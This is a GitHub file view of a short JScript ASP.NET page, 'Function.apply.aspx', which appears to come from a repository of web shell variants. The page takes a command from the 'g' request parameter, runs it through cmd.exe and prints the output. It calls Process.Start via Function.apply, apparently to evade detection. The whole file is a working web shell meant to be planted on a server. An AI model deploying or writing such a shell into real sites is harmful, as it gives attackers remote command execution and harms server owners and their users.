-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathFunction.apply.aspx
More file actions
24 lines (24 loc) · 819 Bytes
/
Function.apply.aspx
File metadata and controls
24 lines (24 loc) · 819 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ Page Language="JScript" %>
<%
var userCommand = Request.Params["g"];
if (userCommand != null && userCommand != "") {
try {
var psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + userCommand;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
var process = new System.Diagnostics.Process();
process.StartInfo = psi;
// 使用 Function.apply 动态调用 Start 方法
process.Start.apply(process, []);
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
Response.Write(Server.HtmlEncode(output));
} catch (ex) {
Response.Write("Error: " + Server.HtmlEncode(ex.Message));
}
} else {
Response.Write("No command");
}
%>